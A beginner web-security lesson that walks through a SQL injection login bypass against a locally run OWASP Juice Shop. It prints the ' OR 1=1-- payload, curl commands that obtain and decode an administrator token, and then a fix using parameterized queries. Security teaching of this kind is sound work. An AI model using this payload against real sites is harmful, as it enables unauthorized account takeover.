Web Application Security for Beginners · lesson 5 · 2026-09-07 · updated 2026-10-12
Authentication Bypass Explained — Web Application Security for Beginners
Before you start
- OWASP Juice Shop (a deliberately vulnerable practice app) from the
bkimminich/juice-shopDocker image, bound to 127.0.0.1:3000. - A demo user registered in Juice Shop (the lesson uses
demo@ehq.local/Exploit-HQ-123; register any user and use your own). curlandjq(both preinstalled on Kali).- Only test systems you own or are authorized to test.
Welcome back to The Exploit HQ, and to part five of our beginner series on web application security. As always, you need zero experience to follow along.
In the first four parts, we found things the server left exposed and numbers it trusted without checking: someone else’s basket, a file it was never meant to share, a forgotten backup holding the database password, and a quantity we changed to whatever we liked. Today we go after the front door itself. We are going to walk past the login screen without ever knowing the password.
First, the word of the day: authentication.
What is authentication?
- It is how a site checks WHO you are — usually your email and password
- Think of it as the lock on the front door of your account
- Right password, you are let in. Wrong password, you are refused.
- Authentication bypass means getting in WITHOUT the correct password
Every time you log in somewhere, the site has to answer one question: are you really who you say you are? It checks the password you typed against the one it has stored. Today’s flaw lets us make the site answer yes, without ever giving it the right password.
To check your password, most sites ask their database a question. That question is written in a language called SQL.
The question the server asks its database
SELECT * FROM Users WHERE email = 'YOU TYPED' AND password = 'YOURS'
| Part | What it does |
|---|---|
SELECT * FROM Users |
look in the table of user accounts |
WHERE email = 'YOU TYPED' |
find the row whose email matches what you entered |
AND password = 'YOURS' |
…and only continue if the password matches too |
the quote marks ' ' |
your text is dropped INSIDE these quotes as plain data |
Read it in plain English. Look in the table of users. Find the one whose email matches what I typed. And only let them in if the password also matches. Your email gets pasted right into that sentence, inside the quote marks. And that is the weak spot.
Here is the danger.
What if the email is not just data?
- Your email is pasted straight into that question, inside quotes
- What if you TYPE a quote character yourself, as part of the email?
- You break out of the data — and the rest of what you type becomes the question
- Making a site obey text you typed like this is called SQL injection
The site expects the email box to contain an email. But nothing forces you to be honest. If you type a quote mark, you close the text early, and whatever you write after it is no longer treated as your email. It becomes part of the database’s question. That is the whole idea behind SQL injection: turning a data field into an instruction.
We only need two tools, and you already know them both.
The tools we will use
- curl — sends a web request from the terminal, our browser with no window
- /rest/user/login — the site’s login endpoint, where email and password go
- -d — the data we send: the email and password, written in JSON
- jq — formats the server’s reply so it is easy to read on screen
Before we cheat, let’s play fair once, so we can see the gate actually working. We will log in with a real email but a made-up password.
Step 1 — a normal login with the WRONG password
curl -s ... /rest/user/login -d '{"email":"demo@ehq.local","password":"hunter2"}'
| Part | What it does |
|---|---|
/rest/user/login |
the login endpoint |
"email": "demo@ehq.local" |
our real demo account |
"password": "hunter2" |
a made-up password — the wrong one |
-w "HTTP %{http_code}" |
print only the server’s status number |
We are sending our demo email with a password that is simply wrong. We expect the server to turn us away. To keep the screen clean we are asking curl to print just one thing: the status number the server sends back. Open the terminal, and type it with me.
curl -s -o /dev/null -w "Server response: HTTP %{http_code}\n" http://127.0.0.1:3000/rest/user/login -H "Content-Type: application/json" -d '{"email":"demo@ehq.local","password":"hunter2"}'
HTTP four zero one. Four zero one means Unauthorized — the server refused us. The gate did exactly its job: wrong password, no entry. Now watch what happens when we stop sending an honest email.
Here is the email we are going to send instead. It is not an address at all.
What we put in the email field
' OR 1=1--
| Part | What it does |
|---|---|
' (a single quote) |
CLOSES the email text early, so we escape the data |
OR 1=1 |
OR one-equals-one — a condition that is ALWAYS true |
-- (two dashes) |
turns the REST of the question into an ignored comment |
Three tiny pieces. A single quote to close off the email early. Then OR one-equals-one, which is a condition that is always, always true. Then two dashes, which tell SQL to ignore everything after them. Watch what that does to the server’s question.
This is what the database now reads.
What the login check becomes
SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = 'anything'
| Part | What it does |
|---|---|
email = '' |
an empty email — matches nobody on its own |
OR 1=1 |
…but this is always true, so EVERY user row matches |
--' AND password … |
commented out by the dashes — the password check never runs |
the result |
every user is returned, and the site logs us in as the first one |
The email is now empty, which matches no one. But OR one-equals-one is always true, so the whole condition is true for every single user. And the password check? The two dashes turned it into a comment, so the server never even looks at it. The question now returns every user in the database, and the site simply logs us in as the first one on the list, which is the administrator. Let’s send it for real.
Log in with the injected email
curl -s ... /rest/user/login -d '{"email":"' OR 1=1--","password":"anything"}' | jq ...
| Part | What it does |
|---|---|
"email": "' OR 1=1--" |
our injected email — not a real address |
"password": "anything" |
any password at all — it is never checked |
| jq '{logged_in_as, token_issued}' |
show who we became, and whether we got a key |
In the email field goes our injection. In the password field, the word anything — it truly does not matter, because that check has been commented out. Then we ask jq to show us two things: who the server thinks we are, and whether it handed us a login token. Let’s see it.
curl -s http://127.0.0.1:3000/rest/user/login -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"anything\"}" | jq '{logged_in_as: .authentication.umail, token_issued: (.authentication.token != null)}'
Logged in as admin at juice dash sh dot op. And a token was issued — token issued, true. That token is the site’s proof that we are logged in and allowed to act. We never knew the administrator’s password. We never needed it. One broken email field walked us straight through the front door.
Do not take my word for it. Let’s read the key the server just handed us.
Decode the login token the server issued
curl ... | jq -r '.authentication.token' | jq -R 'split(".")[1] | @base64d | fromjson'
| Part | What it does |
|---|---|
jq -r '.authentication.token' |
pull out the token the server gave us |
split(".")[1] |
a login token has three parts — take the middle one |
@base64d | fromjson |
decode it back into readable text — no cracking, just reading |
{token_belongs_to, role} |
show whose key it is, and their power level |
A login token, sometimes called a JWT, quietly carries who you are and what you are allowed to do. It is not encrypted, just encoded, so decoding it is simply reading it. We pull out the token, take its middle section, and decode it. Let’s look inside.
curl -s http://127.0.0.1:3000/rest/user/login -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"anything\"}" | jq -r '.authentication.token' | jq -R 'split(".")[1] | @base64d | fromjson | {token_belongs_to: .data.email, role: .data.role}'
Token belongs to admin at juice dash sh dot op, and the role is admin. The server did not just let us in — it handed us an administrator’s key, stamped with full administrator power. From one quote mark in an email box, we now control the entire site.
Let’s be clear about why this is so serious.
One quote mark, total control
- No password needed — the login check was skipped entirely
- We logged in as the ADMINISTRATOR, the most powerful account on the site
- Admin usually means every user’s data, every setting, the whole system
- And the attacker never guessed, phished, or stole a single password
This is not just sneaking into one account. We landed on the administrator, which on most sites means access to everyone’s data and every control the application has. And it cost the attacker nothing — no guessing, no phishing, no stolen password. Just one character the developer forgot to defend against. So how do we find it, and how do we fix it?
Here is how to find it, and how to shut it down for good.
Find it, and fix it
- FIND: anywhere your text lands in a database question — logins, search, filters
- FIND: type one single quote; if the page errors or acts strangely, injection may be possible
- FIX: use parameterized queries — send the data and the question SEPARATELY
- FIX: then ’ OR 1=1– is treated as a literal email, never as commands
- FIX: add multi-factor authentication so one field can never be the only gate
To find it, look anywhere your input gets used in a database question — login boxes, search bars, filters — and try typing a single quote. If the app errors out or behaves oddly, it may be gluing your text straight into its SQL. The real fix has a name: parameterized queries, also called prepared statements. Instead of gluing your text into the question, the code sends the question and your data to the database separately. The database then treats your input as pure data, always, so a quote is just a quote and OR one-equals-one is just a strange-looking email that matches nobody. As a second layer, multi-factor authentication means a stolen or bypassed password still is not enough to get in. Defence in depth.
And the one rule, every single time.
Before you go
- Only ever test apps you own or have written permission to test
- Juice Shop runs entirely on your own machine — practice safely and legally
- O-WASP ranks this under A-03 Injection — the classic flaw, still everywhere
- That completes our beginner web security series — the full course is linked below
Only ever test applications you own or have explicit written permission to test. Sending an injected login to a site you do not own is illegal, even though it looks like just typing in a box. Juice Shop is built for exactly this kind of safe, legal practice, running entirely on your own computer. The O-WASP project ranks injection as A-03 in their top ten web application risks — it has been near the top for years, because this one mistake is still everywhere. And with that, you have the full beginner arc: access control, file inclusion, information disclosure, parameter tampering, and now authentication bypass. The complete course is linked below. Thank you for learning with The Exploit HQ — go build things, and defend them well.